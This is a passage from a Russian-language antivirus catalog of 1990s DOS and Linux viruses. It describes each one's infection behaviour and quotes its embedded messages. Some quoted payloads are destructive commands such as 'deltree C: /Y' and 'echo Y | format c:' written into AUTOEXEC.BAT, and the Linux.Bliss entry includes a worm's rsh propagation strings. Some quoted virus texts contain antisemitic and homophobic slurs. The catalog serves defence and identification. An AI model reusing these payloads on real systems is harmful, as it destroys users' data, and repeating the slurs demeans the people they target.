¦ ------------------------------------¦---¦ ¦----- ¦ ¦-- ¦- ¦----- ¦ ¦ ¦ ¦-
¦ ------------------------------------¦ -¦ ¦ ¦- ¦- ¦ ¦- ¦- ¦--T-
----------------------- ----¦ ¦ --- ¦- ¦ ¦- ¦- --- ¦- ¦- -- ¦-
¦ -----------------------¦----------¦ ¦ ¦- ¦- ¦- ¦- ¦- ¦- ¦-
¦ -----------------------¦---------¦ ¦ ------ -- -- -- ------ -- ---
¦ -----------------------¦--------¦ --- ----¬
¦ --------------------------------¦ +-------T---------------------- ¦
+----¬--------------------------------¦ ¦ The man who brought you ¦
¦ ¦-------------------------------¦ ¦ -- 622, Skism One, Captian ¦
¦ ¦---------------------¦--------¦ ¦ -- Trips, and Sub-Zero now ¦
¦ ¦---------------------¦ ¦ ¦ -- shanks you again, with L--
¦ ¦---------------------¦ L--¬ +-¬ -- his latest...
L--T-+----------------------¦ ¦ ¦ ¦ -------------------------
¦ --------------------------¦ ¦ ¦ L-----------------------------¬
--T--- -------------------------¦ +---T-- Skism 1992 - Virus!!!! +----
¦ -----------¦ --------- ¦ -- Get a late pass! ¦
--- ----------------¦ ¦ ¦ ------------------------- ¦
¦ ------------------------------¦ ¦ --------------
-----------------------------------¦ ¦ ¦
------------------------------------¦ L---------------------
Содержит также текст "McAfee wrote Whale!!!!!!".
Leprosy.Strain.666 (1,2)
Очень опасный нерезидентный вирус. Выводит сообщения:
Program too big to fit in memory
или
ATTENTION! Your computer has been afflicted with
the incurable decay that is the fate wrought by
Leprosy Strain B, a virus employing Cybernetic
Mutation Technology(tm) and invented by PCM2 08/90.
Существует модификация вируса, которая выводит текст
Stealth Group Moscow Приглашает Вирусописателей !
Объединяйтесь ! Только Вместе Мы Прикончим
лОЗОТЕСТ , pOLYFUCK и Средства От Глистов !
Grosser & Mr.Tapeworm = Kool Men !"SPIDER" By Tapeworm !
Lev.693
Неопасный резидентный вирус. Ведет счетчик заражений в MBR. После 224
заражений возможно "осыпание" экрана и появление сообщения:
Бей жидов и Лозинского
Version d13,copyright (c) 1991 by LEV & "С.Х."
Lewd.3256, 4455, 4456
Неопасные резидентные вирусы. По нечетным числам месяца пытаются через
некоторое время "повесить" систему. Иногда выводят на экран текст
"Люся-а-а...". Lewd.3256 иногда выводит на экран текст "Главный Центр
Напугивания.". Содержат текст "1996 by Lewd-H".
Lewd.34907, 34918
Опасные резидентные вирусы. Содержит в своем теле код архиватора LHA
версии 2.13, который периодически пытаются записать на диск, спрашивая
об этом разрешение пользователя. А также периодически выводят следующие
сообщения:
Начиная с 1997 года активно начала свою работу MDP база по борьбе с
нехваткой программного обеспечения.Сегодня мы препредлагаем вашему
вниманию "File-Compression Program LHA version 2.13". Copyright 1997 by
MDP Base. УСТАНОВИТЬ? [y/n].
Алло народ вы че обалдели у вас здесь еррора выползает.Больше не
хулиганьте. О-о-й и куда это вы полезли!!! Голубчик и вы думаете это
вас спасет???
Вам следовало бы обновить вашу версию дантиста WEBа.Он же вам каждый
раз об этом напоминает.Старших надо слушаться!!! С MDP базы доносятся
крики благодарности DRWEBу за отличный Executable File Decompressor
например PKLITE с пакшей "-e" .Поблагодарим его за это.УРА!!! ПОКА.
Ух ты у вас AIDSTESТик есть.Где откопали? Ну если не хотите то можете
не отвечать. Опять на халяву? Ай-я-я-я-яй как вам не стыдно? Что бы
больше такого не было!
На MDP базе все по прежнему.РЕКЛАМНАЯ ПАУЗА.
Upgraded
Извините.Этого у нас нету.Приходите завтра.
Вы точно хотите стереть эту директорию?
Ну ведь она же исчезнет!Вы уверены?
Нет не могу.Правда!Идите подумайте а потом прийдете.
Ну уж нет.Вы мало думали.Надо все хорошенько обдумать!
Ну ладно так уж и быть но помните что я вас предупреждал.
г====================== МАНИАКАЛЬНО-ДЕПРЕССИВНЫЙ ПСИХОЗ.=======================¬
¦ Психическое заболевание, проявляющееся периодически наступающими ¦
¦ расстройствами настроения. В типичных случаях протекает в форме чередующихся ¦
¦ фаз -- маниакальной, выражающейся немотивированно веселым настроением, и ¦
¦ депрессивной; обычно приступы болезни сменяются промежутками полного ¦
¦ здоровья. ¦
¦ В маниакальном состоянии больные подвижны, неусидчивы, суетливы; мимика ¦
¦ оживлена, речь ускорена, тембр голоса не соразмеряется с требованиями ¦
¦ обстановки. Больные повышенно активны, мало спят, но при этом не испытывают ¦
¦ усталости; жаждут деятельности, строят бесчисленные планы, которые тут же ¦
¦ пытаются привести в исполнение, ничего не доводят до конца, отвлекаются.¦
¦ Реальных трудностей недооценивают. ¦
¦ Для депрессивной фазы характерна немотивированная тоскливость, которая ¦
¦ сочетается с двигательной заторможенностью и замедленностью мышления. Малая ¦
¦ подвижность может в тяжелых случаях переходить в полное оцепенение -- ¦
¦ депрессивный ступор; чаще, однако, заторможенность выражена не столь резко ¦
¦ или носит частичный характер, сочетаясь с попытками каких-либо однообразных ¦
¦ действий. У депрессивных больных часто встречаются неверие в собственные ¦
¦ силы, идеи самообвинения: больные считают себя никчемными людьми, способными ¦
¦ приносить своим близким лишь несчастье. С возникновением подобных идей ¦
¦ связана опасность попыток к самоубийству, что требует особой бдительности со ¦
¦ стороны окружающих. При глубокой депрессии больные ощущают пустоту в голове, ¦
¦ тяжесть и скованность мысли, с большой задержкой отвечают даже на ¦
¦ элементарные вопросы. Сон нарушен, аппетит снижен. ¦
L==============================================================================-
У вас чего крыша едет? На ноль же делить нельзя.Я понимаю что это сложно
понять но надо быть более рассудительнее.
Анн дара рия кия макарена.Анн дара рия рия сол де рио.
Lightness.1466
Очень опасный резидентный шифрованный вирус. Если значение секунд
системного времени равно 59, то вирус уничтожает все открываемые *.PAS-
файлы, записывая в них текст:
program Невыносимая легкость Бытия Е.Летова и мое полнейшее
отвращение всего прогресивного чел-ва:
попс, репс, рейвс, хакерс и тому подобный кал
uses ГрОб
const Егор Летов = 1964...Вечность
var Punk Rock не задушишь не убьешь
begin
пАСКАЛЬ - вязкое дерьмо синтаксических конструкций
пАСКАЛЬ - орудие диктатуры дерьмократов
пАСКАЛЬ - куча говна из за которой не видно СВЕТЛОГО БУДУЩЕГО
ATTENTION!!! В ВАШИХ МОЗГАХ ЖИР-Е-Е-Т ПОПС!!!
end.
Также в 10:59 помещает в буфер клавиатуры одну из следующих строк:
deltree C: /Y
arj m temp *.*
format c:
defrag c: /F
LightNing.2366
Неопасный резидентный полиморфный вирус. По алгоритму заражения очень
похож на вирусы семейства OneHalf. Не заражает файлы *AN.*,*AV.*,*ND.*,
*OD.*. Содержит текст "Lightning ...".
LightNing.4251
Очень опасный резидентный полиморфный вирус. Шифрует сектора дисков.
При открытии *.PAS-файлов пытается найти в 512 последних байтах этих
файлов строку "BEGIN" и вставляет сразу же после нее строку
"inline($b9/$02/$00/$e2/$fb);" или "inline($ea/$f0/$ff/$00/$f0);". Но
делает это таким образом, что при просмотре такого файла в текстовом
редакторе данные строки оказываются не видны - располагаются за правой
границей экрана, за 80 колонкой.. Вирус не заражает файлы, содержащие в
своем имени буквосочетания из строки "AIDRWE-VADSCAN". Содержит строки
""LightNing" (c) 12.95 by ML, Krasnodar", "MetaMorphic Generator (MMG)
v1.0".
Likeness.3551
Очень опасный резидентный файлово-загрузочный полиморфный вирус. Очень
похож на вирусы OneHalf. По очень похожему алгоритму зашифровывает
первый жесткий диск.Но при активном резидентном вирусе данные изменения
не заметны, т.к., вирус пытается расшифровывать зашифрованные сектора
диска "на лету" при обращении к ним.Но процедура шифровки и расшифровки
содержит массу ошибок, из-за которых информация может быть расшифрована
неправильно.При инсталляции в память вирус модифицирует код резидентной
программы TBDSK, если она присутствует в памяти. Не заражает файлы,
начинающиеся на: ADINF, ANTI, AIDS, DRWEB,TB,SCAN,CHK. Программа Dr.Web
не расшифровывает диск при нахождении в MBR вирусного кода. Но при
нахождении в памяти резидентной копии вируса, Dr.Web модифицирует его
код таким образом, что вирус сам будет расшифровывать зашифрованные
сектора на диске при обращениях к ним. Для того, чтобы попытаться
расшифровать весь диск необходимо установить режим проверки всех файлов
во всех каталогах первого жесткого диска и запустить тестирование
программы Dr.Web. Но наиболее правильным было бы, при обезвреженном
вирусе в памяти скопировать всю важную информацию на резервные
магнитные носители.
Linux.Bliss.17892, 18064
Неопасные нерезидентные вирусы,"обитающие" в среде Linux (разновидность
ОС Unix) и заражающие исполняемые файлы в формате ELF.Написаны на языке
GNU C. Внедряются в начало ELF-файлов, сдвигая программный код вниз.
В конец инфицированных файлов вирусы записывают тексты:
Linux.Bliss.17892: infected by bliss: 00010002:000045e4
Linux.Bliss.18064: infected by bliss: 00010004:000048ac
В процессе своей "работы" вирусы могут вывести сообщения:
already infected
skipping, infected with same vers or different type
replacing older version
replacing ourselves with newer version
infecting: bytes
infect() returning success
been to already!
traversing
our size is
copy() returning success
copy() returning failure
disinfecting:
not infected
couldn't malloc bytes, skipping
couldn't read() all bytes
read bytes
happy_commit() failed, skipping
couldn't write() all bytes, hope you had backups!
successfully (i hope) disinfected
Debugging is ON
Disinfecting files...
using infection log:
А также содержат в своем теле тексты:
dedicated to rkd
/tmp/.bliss
asmlinkage int sys_umask(int mask)
mask&023000 return if(mask&023000) {current-"uid = current-"euid =
current-"suid = current-"fsuid = 0; return old&023000} } bliss.%s.%d
-l rsh%s%s %s 'cat"%s;chmod 777 %s;%s;rm -f %s' doing popen("%s"
/.rhosts r %s %s .rhosts: %s, %s localhost doing do_worm_stuff() /etc
/hosts.equiv hosts.equiv: %s HOME --bliss- uninfect-files-please
disinfect-files-please
version %d.%d.%d (%.8x)
Compiled on Sep 28 1996 at 22:24:03
Written by electric eel.
dont-run-original
just-run-bliss
dont-run-virus
dont-run-bliss
just-run-original
exec
infect-file unsupported version
help help? hah! read the source!
/proc/loadavg %d.
loadav is %d
bliss was run %d sex ago, rep_wait=%d
/tmp/.bliss-tmp.%d execv /bin
PATH : /usr/spool/news /var/spool/news wow
LittleBoy.944
Неопасный резидентный вирус. Иногда выводит на экран текст:
!!! ВЫРУСС !!!
УХ КАК СТРАШНО
Содержит также текст "by Little Boy.1995.V0.3(SIMPLE".
LivingDeath.3766
Очень опасный резидентный стелс-вирус. "Перехватывает" INT 8, 13h, 21h.
Заражает EXE-файлы и MBR жесткого диска. Примерно через месяц после
заражения MBR вирус читает в память 255 первых секторов первого
жесткого диска, записывает на их место случайную информацию и выводит
текст:
I am the Living Death.
I am coding your hard disk now.
Your FAT is destroyed and his copy is only in memory.
If you set power off, all your data will be lost !!
После чего производит зашифровывание всего первого жесткого диска. По
окончании данной шифровки вирус записывает на место информацию 255
первых секторов и выводит строку:
Press any key ...
При обращении к зашифрованным секторам через INT 13h вирус
расшифровывает содержимое данных секторов "на лету". Таким образом, в
инфицированной системе содержимое первого жесткого диска
расшифровывается резидентной копией вируса. При загрузке с
инфицированного уже зашифрованного жесткого диска вирус выводит текст:
I am the Living Death.
Press any key ...
И ждет нажатия на любую клавишу.
Lizard.1967
Опасный резидентный (на уровне Windows VxD-драйвера) вирус. Заражает
DOS EXE-файлы и создает вирусный VxD-драйвер. При старте зараженого
EXE-файла вирус создает свой VxD-дроппер (при его отсутствии) в одном
из каталогов системы:
c:\windows\system\iosubsys\lzd.vxd,
c:\win95\system\iosubsys\lzd.vxd,
c:\windows.000\system\iosubsys\lzd.vxd.
При старте MS-Windows вирусный дроппер автоматически загрузится в
систему. Далее Lizard.1967 заражает DOS EXE-файлы стандартным способом
при попытке доступа к ним. 26 октября вирус удаляет эти файлы. Содержит
текст "Lizard by Reptile/29A".
Lmd.2000
Неопасный резидентный полиморфный вирус. Иногда выводит на экран текст:
DOS/4GW Protected Mode Run-time Version 1.95
Copyright (c) Rational Systems, Inc. 1990-1993
Также может вывести на экран фотографию Лозинского Д.Н. и текст
"Lozinsky MuST DiE!".
Lobotomy.821
Неопасный нерезидентный вирус. После заражения файла может вывести
текст:
Летний дождик напугал ...
Летний дождик напугал ...
Летний дождик напугал ...
Летний дождик напугал ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
Лаа-ба-та-мия ...
*** LOBOTOMУя v1.1beta (c)1995 MSfVC *** +: ***
Lobotomy.966
Опасный нерезидентный вирус. Удаляет таблицы ревизора ADinf на всех
дисках. Может вывести текст:
RESET your machine and soon, you`ll know,
that I`m the Natural_Born_Killer ...
v1.1 (c)95_MSfVC Bye ...
попытаться установить пароль "LOBOTOMY" в CMOS Setup и "завесить"
систему.
Locust.735
Опасный резидентный вирус. Перехватывает INT 09,21h,2Fh. С вероятностью
1/8 блокирует нажатия на клавиши Escape, Enter или Space. И в 1 из 32
случаях изменяет нажатие на клавиши с латинскими буквами "A", "E", "O"
на русские "А", "Е", "О". Содержит тексты ".COM", "Locust".
Locust.1456
Нерезидентный вирус. Заражает один файл - командный процессор, как
правило COMMAND.COM, указанный через переменную среды COMSPEC. Причем,
если размер COMMAND.COM не превышает 53336 байт, если он не формате
EXE-файла, и если COMMAND.COM содержит область повторяющихся байт в
конце файла. Вирус изменяет первые 3 байта инфицируемого файла, если
первая инструкция не JUMP или 3 байта из области первого перехода, если
первая команда - JUMP, на команду перехода на вирусный код, который
Locust.1456 записывает в середину файла. Содержимое же места внедрения
вируса, переносится в область повторяющихся байт. Размер
инфицированного файла уменьшается на 240 байт. Вирус содержит ошибки,
следствием которых возможно неточное восстановление файла при его
лечении. Иногда может заполнить экран строкой "I'm Sleep-walker.".
Содержит зашифрованную строку "(LOCUST-3)".
Locust.2486
Неопасный резидентный вирус. Если файл содержит в конце область из 2486
повторяющихся нулевых байт, то вирус записывает свой код в данную
область, иначе внедряется в конец файла. При неаккуратной трассировке
вирус выводит сообщение:
г=============================¬
¦ Long Live Soviet Hackers! ¦
¦ (LOCUST - 2) ¦
L=============================-
после чего издает некие звуки с помощью двигателей флоппи-дисководов.
Login.2071
Неопасный резидентный полиморфный вирус. Внедряет полиморфный
расшифровщик в середину заражаемого файла, а основной зашифрованный код
в конец файла. 10 числа каждого месяца выводит на экран текст "This is
Kustanai-Login. Is devoted Kuzmina Olya. TVA-96 me 16!"."Перехватывает"
INT 9, 21h. При старте программы Login, вирус контролирует нажатия на
клавиши и записывает скан-коды данных клавиш в свой буфер, находящийся
в памяти. Не заражает программы,имеющие в своем буквосочетания Aids,
Adinf, DrWeb, Scan, Command.
Lokjaw.Firefly.1087
Опасный резидентный шифрованный вирус. При старте некоторых
антивирусных программ, удаляет их. Содержит тексты:
[Firefly] By Nikademus
Greetings to Urnst Kouch and the CRYPT staff.
American Jesus
Dont Pray On Me
Recipe for HAte
Atomic Garden
Its Dead Jim
Lokjaw.Firefly.1106
Опасный резидентный шифрованный вирус. При старте некоторых
антивирусных программ, удаляет их. Содержит тексты:
[Firefly] By Nikademus
Greetings to Urnst Kouch and the CRYPT staff
Psalm 69
Every day is Halloween
Happiness in Slavery
The land of Rape and Honey
Its Dead Jim
Lokjaw.Zwei.808, 894
Опасные резидентные вирусы-спутники. При старте некоторых антивирусных
программ, удаляют их и выводят на экран картинку:
(o) (o)
U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U
я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я я
Содержат текст "Lokjaw-Zwei".
Lonely.1000
Неопасный резидентный шифрованный вирус. "Перехватывает" INT 9, 1Ch,
21h. Заражает файлы при их запуске или закрытии. При открытии
инфицированных файлов вирус "излечивает" их. При вводе с клавиатуры
слова "малыш" вирус отключает режим заражения файлов, но оставляет
режим "самоизлечивания". Проявляется "западанием" левой клавиши Shift.
Содержит текст ""Одиночка" v1.0 ХАИ к.506 1995г.".
LordZer0.372
Неопасный вирус. Содержит текст "Swedish Warrior v1.0 by Lord Zer0.".
Lost.596
Содержит текстовую строку "* LOST *".
Lout.805
Опасный резидентный вирус. Иногда выводит на экран фразу "Андреев - хам
и жадина.". После чего может обнулить в Boot-секторе диска C: значение
количества головок диска (+1Ah).
LR1.2884
Опасный резидентный шифрованный вирус. Удаляет файлы CHKLIST.MS,
CHKLIST.CPS, ANTI-VIR.DAT, SMARTCHK.CPS. При нажатии на Alt-PrtSc
(SysRq) вирус выводит текст "LR1#00008", где числовое значение - это
номер поколения вируса. Содержит тексты:
I love you, I'll kill you,
but I love you for ever.
(-) Enigma.
... bum, bum, bum (...) bang, bang ...
It's nice to be important
but it's more important to be nice. (..?)
Uprzejmie prosimy pana Sella
o ponowne umieszczenie opisвw wirusвw
wСwnЖtrz programu 'MkS'.
Hello! I'm LastReplicator1 virus.
LSD.1600
Очень опасный, замещающий программный код, вирус. После заражения всех
файлов текущем каталоге производит графический видеоэффект (двигающиеся
цветные узоры) и выводит текст:
LSD ViRuS 1.0
Coded By Death Dealer 4/29/94
[TeMpEsT -94]
Также содержит текст "Author:Death Dealer Of [TeMpEsT]Virus:[LSD]".
Lucas.1871
Неопасный нерезидентный шифрованный вирус. Выводит на экран текст:
¦ ¦ ¦
¦ ------ ¦ ¦
----- ---- ¦
- ---¦
- - YOu aRe
- --- --
¦-------- -- --- --- iNFeCteD bY
¦--------- --- ----
¦--------- ------- HarMLeSS ViRuS
¦--------- -------
¦--------- --------- I am iNFECtiNG
¦--------- ---------
¦--------- ---------- ONLy *.CoM FileS
¦--------- ¦ ¦
¦--------- ¦ ¦ iN CuRReNt DireCToRy
¦--------- ¦ ¦
¦--------- ¦ ¦
¦--------- ¦ ¦ (R)
¦----------------------------------- Greetings to
¦----------¦--------¬----¬------¬---- V.N. Lukin (LUCASS)
¦----------¦-----+--+--+-+¬--L--¬---- from 20th Faculty
¦----------L-----+--+--L-----L------- of MAI
------------------------------------
It is a time of Civil War. Using fear and intimidation,
the Empire seeks to impose a New Order on the galaxy.
Only the Rebel Alliance stands in the way of their evil plans.
Not yet willing to confront the Empire directly, the Rebels are
marshalling their forces in secrecy. Even now a group of their
prized Calamari Cruisers is being intercepted by a squadron of
Imperial Star Destroyers. The Rebel Fleet is outnumbered but,
they have a surprise... the X-Wing Starfighter!
Luce.4619
Очень опасный резидентный полиморфный вирус. Уничтожает исполняемые
файлы, находящиеся в каталогах F77,MSFORT,GAMES,GAME, UTIL; записывая в
их начало троянский код, который выводит на экран следующий текст:
ПРИВЕТ ОТ ХАКЕРА
------- -- -- --------- -------- -- --
-- -- -- -- -- -- -- -- --
-- -- -- -- -- -- -- ------
-- -- -- -- ------- -- -- ---- ----
-- -- -- -- -- -------- ------
-- -- -- -- -- -- -- -- --
------- ---- --------- -- -- -- --
ПРОГРАММА УНИЧТОЖЕНА УСПЕШНО
Также вирус может записать в MBR троянский код, выводящий на экран
текст "Hard disk destroyed by mutant-virus "LUCIFER"". Вирус содержит
тексты "Virus Luce.4619 by OVER-X.", "POLYMORPHIC ALGORITHM IS CREATED
BY OVER-X".
Lucifer (1,2)
Опасные нерезидентные загрузочные вирусы. При загрузке системы с
инфицированного флоппи-диска вирусы заражают активный загрузочный
сектор первого жесткого диска, считая, что он расположен на стороне -1,
цилиндре - 0, секторе - 1. При загрузке же системы с инфицированного
жесткого диска вирус пытается заразить гибкий диск в дисководе B:.
Оригинальные загрузочные сектора вирусом не сохраняются. При загрузке
вирусы пытаются самостоятельно найти и отдать управление системным
файлам IBMBIO.COM или IO.SYS. Если данные файлы не будут найдены, то
вирусы выводят сообщение: Lucifer (1) - "Sys?", Lucifer (2) -
"**Oops!**" и "вешают" систему. Содержат тексты "Lucifer" и "Lucifer
Messiah -- ANARKICK SYSTEMS v6.1 (c)1990", или "Lucifer Messiah of
Anarkick Systems v.4.3 (c) 1992".
Lucy.5086, 5286, 5505
Опасные резидентные полиморфные вирусы. Из-за ошибок могут разрушать
инфицируемые файлы. При нахождении в памяти программ: SCAN,VSHIELD,
CLEAN, FINDVIRU, GUARD,VIVERIFY,TB,AVP,VIRSTOP,NOD,HIEW,ICE,AVG,F-PROT,
CHKDSK,DRWEB,TDPR; вирусы выводят тексты:
Lucy.5286:
Hi, do you know that AndreaP is actually better than LucyV ?
Takze ak sa vam chce, tak to meno zmente. :-).
PS. Pochadzam[e] (ja i ona) z GJH. (mozno)
Press any key to reset.
Lucy.5505:
Hi, do you know that LucyV, and AndreaP are the best girls ?
Sorry, nic lepsie ma teraz nenapadlo :-).
Press any key to reset.
Lunch.404
Содержит текст "I just had your files for lunch!!!".
Lust.120, 121, 137, 191, 196, 210, 258
Неопасные вирусы. Lust.210 производит поиск *.COM-файлов в текущем
каталоге и записывает свой код в область повторяющихся байт в теле
программы, если они имеются.
Lx.1358
Опасный резидентный вирус. 13 числа записывает в файл C:\AUTOEXEC.BAT
похабный текст и команду форматирования диска C:. Содержит текст:
SET VIRUS=LX 1358 Version 1.03 (why LX ? - see below)
SET CopyLeft=(c) 1996 Sergey K. & Alex C.
Lx.1996
Очень опасный резидентный шифрованный вирус. 14 числа уничтожает
содержимое CMOS-памяти. 16 и 17 числа выводит на экран тексты:
Прикиньте, чуваки! Я 16 октября тааак нажрался!
а в метро меня обули на единый 8-( ]
а нажрался потому, что у старосты нашего был день рождения.
И ещё ИА мне на говнодав крысбургер уронил !
МГТУ-RULEZ, МАИ-SUX, МРТК-мерзкое заведение
P.S. Ув. тов. автор WEBа! Прошу опубликовать сей текст!
Официальный Список Мразей г. Москвы от 17 окт. 96
1. ТЕ ПАДЛЫ, КОТОРЫЕ МЕНЯ НА ЕДИНЫЙ ОБУЛИ В МЕТРЕ
2. ТЕ ПАДЛЫ, КОТОРЫЕ НАКОРМИЛИ НАС КРЫСБУРГЕРАМИ :-Q~
3. АВТОРЫ АНТИВИРУСОВ, КОТОРЫЕ НЕ ЛЕЧАТ ЭТОТ ВИРУС
4. ЛАМЕРА, КОТОРЫЕ ПОЛЬЗУЮТСЯ ЭТИМ ВИРУСОМ
5. -//- КОТОРЫЕ НЕ ПОЛЬЗУЮТСЯ
6. ОСТАЛЬНЫЕ ЛАМЕРА
7. ВСЕ ГОПНИКИ - ОНИ МЕШАЮТ НАМ ЖИТЬ !
Все остальные мрази будут включены в следующий список. Please wait...
Записывает в файл C:\AUTOEXEC.BAT команды форматирования диска C::
@echo off
cls
echo.
echo А Лозинский - педераст 8-Q~
echo.
echo Hi! I am LX 1996
Version 2.50
@echo Y | format c: /q "nul
@cls
Содержит текст:
Set Virus=LX 1996 Version 2.50 (why LX ? - see below)
CopyRight = (C) 1996 Sergey K. & Alexey C.
Lycee.703
Иногда создает файл README.!!!, в который записывает текст "Поздравляем
Профорга группы А1-94 с 8 марта !".
Lycee.737
После 10 часов непрерывной работы "сбивает" развертку мониторов EGA и
VGA.
Lycee.930
После 1000 нажатий на клавиши изменяет следующие символы на ' MIREA '.
Lycee.944
Опасный вирус. После 24 числа любого месяца, в понедельник может
зашифровать первый сектор (MBR) первого жесткого диска.
Lycee.1888 (1,2), 1901, 1950
Если не было нажатий на клавиши в течение 5 минут выводит на русском
или на английском языке текст:
г==================================================================¬
¦ You are welcome ! ¦
¦ Moscow Institute of Radioengineering, Electronics and Automation ¦
¦ Moscow ¦
¦ Vernadsky Avenue 78 ¦
¦ Phone of MIREA: 433-00-66 ¦
L==================================================================-
или
г====================================================================¬
¦ Вас приветствует ! ¦
¦ Московский Институт Радиотехники, Электроники и Автоматики ¦
¦ Москва ¦
¦ Проспект Вернадского, 78 ¦
¦ Телефон МИРЭА: 433-00-66 ¦
L====================================================================-
Lycee.1788 (1,2), Lycee.1800, Lycee.1832, Lycee.1975
Выводят текст:
г===================================¬
¦ Вас приветствует ! ¦
¦ Лицей Информационных Технологий ¦
¦ Москва ¦
¦ Ломоносовский проспект, 16 ¦
¦ Телефон 133-20-60 ¦
L===================================-
LZR
Опасный загрузочный вирус. Может уничтожить содержимое жесткого диска.
Имеет текст "LZR".
Maaike (1,2)
Шифрованные вирусы-спутники. Для всех запускаемых EXE-файлов создают
вирусы-спутники COM-формата. При резидентных вирусах программы с
расширениями, отличными от COM или EXE, запускаться не будут. Иногда
могут заполнить экран надписью: "Maaike I Love You !". Из-за ошибок
могут приводить к "зависанию" системы.
MacGyver.2803 (1,2)
Содержат зашифрованную текстовую строку "SCAN CLEAN ZTEST CKVI EXEGOD
VPIC [MACGYVER V1.0 Written by JOEY in Keelung. TAIWAN 1992]".
MacGyver.4112
Неопасный резидентный файлово-загрузочный вирус.Заражает COM,EXE-файлы,
MBR жесткого диска и загрузочные сектора дискет. При заражении дискет
форматирует дополнительную дорожку, на которую записывает свое
продолжение и оригинальный загрузочный сектор.
MacGyver.4645
Неопасный резидентный стелс-вирус. Выводит сообщение:
-====================¬
¦ * MacGyver V3.0 * ¦
¦ Hi! I am MacGyver ¦
¦ Written by ¦
¦ Dark Slayer ¦
¦ in Keelung. TAIWAN ¦
¦ Don't Worry,I just ¦
¦ a Virus. Ha..Ha... ¦
L====================-
Mad.223
Неопасный нерезидентный полиморфный вирус.Является "порождением" вируса
Mad.5131. Mad.223 не является зашифрованным вирусом, но при заражении
в январе COM-файлов вирус Mad.5131 "перемежает" "рабочие" команды
вируса Mad.223 (поиск файл-жертв и их заражение) всевозможными
"мусорными" командами. В результате максимальная длина постоянных
вирусных байт не превышает 6 байт. В дальнейшем такой вирус Mad.233
производит поиск *.COM - файлов в текущем каталоге и заражает их
собственной уже неизменяемой копией. Вирус содержит текст "MiniMad 2.0
BETA! [c]Black Angel".
Mad.279 (1-3)
Опасные нерезидентные вирусы. Заражают только COM-файлы с первой
командой JUMP (0E9h ?? ??). Оригинальный адрес перехода вирусы
записывают в поле даты создания файла. Поэтому, если данный файл
подвергнется редактированию, то восстановить его работоспособность не
удастся. Вирусы содержат текст "The MiniMad version 1.0 beta*.com".
Mad.1288
Очень опасный резидентный шифрованный вирус. При неаккуратной
трассировке кода, вирус может уничтожить 16 первых секторов первого
жесткого диска. Резидентная копия вируса, при старте каждой 33-ей
программы, уничтожает случайный сектор жесткого диска. Не заражает
программы с именами *EB, *ST, *NF, *WE. Содержит текст "THE MYTH
[C]Black Angel : Next time ,Use a condom ...".
Mad.2631, 2748
Очень опасные резидентные полиморфные вирусы. 13 числа уничтожают
содержимое CMOS-памяти и первого жесткого диска. При каждом 1001
(2000 для Mad.2748) нажатии на клавиши уничтожают случайный сектор на
диске. При неактивной клавиатуре в течение 1 минуты 22 секунд (для
Mad.2748 - 1 часа) вирусы выводят на экран тексты:
Mad.2631:
г=============================================¬
¦ W a r n i n g ! ¦
¦---------------------------------------------¦
¦ Your machine is infected by MAD I virus ¦
¦ -= Written & Copyright by Black Angel =- ¦
¦ from Moscow ¦
¦ For cure call DR.WEB (812) 296-3096 ¦
¦ Good-Bye!!! ¦
L=============================================-
Mad.2748:
г=============================================¬
¦ W a r n i n g ! ¦
¦---------------------------------------------¦
¦ Your machine is infected by MAD I virus ¦
¦ -= Written & Copyright by Black Angel =- ¦
¦ from Moscow ¦
¦ For cure call DR.WEB (812) 296-3096 ¦
¦ Next time, use a condom... ¦
L=============================================-
Не заражают файлы, имена которых заканчиваются на EB, ST, EW (DRWEB,
AIDSTEST, HIEW). Содержат тексты "BETA", "THE MAD I virus (c)Black
Angel" или "THE MAD version 1.2 virus (c)Black Angel".
Mad.3544, 4268, 4340, 5054
Очень опасные резидентные полиморфные вирусы. При неаккуратной
трассировке вирусного кода могут уничтожить 10 первых секторов первого
жесткого диска. При запуске программы WIN.* Mad.3544 выключает драйвер
мыши (записывает в обработчик INT 33h команду IRET) и выводит текст
"WINDOWS MUST DIE!". Иногда помещают в буфер клавиатуры слово "MAD".
13 числа месяца вирусы заражают COM-файлы, имеющие первую инструкцию
программного кода JUMP (0E9h ?? ??) вирусами Mad.279 (1-3). В вирусах
имеется код, шифрующий загрузочные сектора дискет, но при активных
резидентных вирусах данные сектора расшифровываются в памяти
компьютера. Mad.4268 может вывести на экран текст:
Your version of MAD outdate.Upgrade?
Если ввести "y" или "Y", то вирус выводит текст:
Please Wait! Cured Your system...
Но...абсолютно спокойны Вы можете быть, если ежедневно
пользуетесь программой FORMAT.COM
уничтожает 16 первых секторов первого жесткого диска, создает новый
файл c:\autoexec.bat, в который записывает текст:
@echo Press Y for continue cured....
@echo off
c:\dos\format.com c: "null
echo on
@echo Над вами издевался вирус MAD...
Mad.4340 производит поиск в записываемой на диск (f.03 Int 13h)
информации строки "USER", меняет ее на "LOH!" и помещает в буфер
клавиатуры текст "MUST DIE!". Mad.5054 7 ноября уничтожает содержимое
CMOS-памяти, по 16 секторов на каждой головке первого жесткого диска и
выводит текст "Seventh November - black day of a calendar...". Mad.5054
ищет в файлах строку "Rar!" (заголовок архиватора RAR) и изменяет ее на
"Mad!". Причем, в зараженной системе это будет не заметно для
пользователя,но при переносе такого архива в "чистую" систему,архиватор
RAR не "признает" такой файл своим. Mad.5054 также иногда "сбивает"
развертку монитора.
Вирусы содержат тексты:
Mad.3544:
MAD 1.5a Copyright by Black Angel 03-08-96 : a New Beginning
Mad.4268:
MAD 1.6 Copyright by Black Angel 24-09-96 : ...continue conversation...
Mutation Engine for Mad [MEM 1.0]
Mad.4340:
MAD 1.7 (C)opyright by Black Angel(from Moscow!) 29-09-96 :
Next version...
Mutation Engine for Mad [MEM 1.0]
Mad.5054:
Small Random Decoder for Mad [SRDM 0.0 beta]
[MAD 1.8] (C)opy(R)ight by Black Angel from DesTroY Gr0uP : It BEGAN...!
Mutation Engine for Mad [MEM 1.1]
Mad.3732, 3734
Опасные резидентные полиморфные вирусы. 14 июня форматируют первую
дорожку "винчестера". При старте программы *WEB.* вирусы из-за ошибки
"завешивают" систему. Содержат тексты "The MAD version 1.4(beta) for
TME (C)Black Angel 1996", "TME 0.0 (c)Black Angel 14/05/96".
Mad.5131
Очень опасный резидентный полиморфный вирус. При неаккуратной
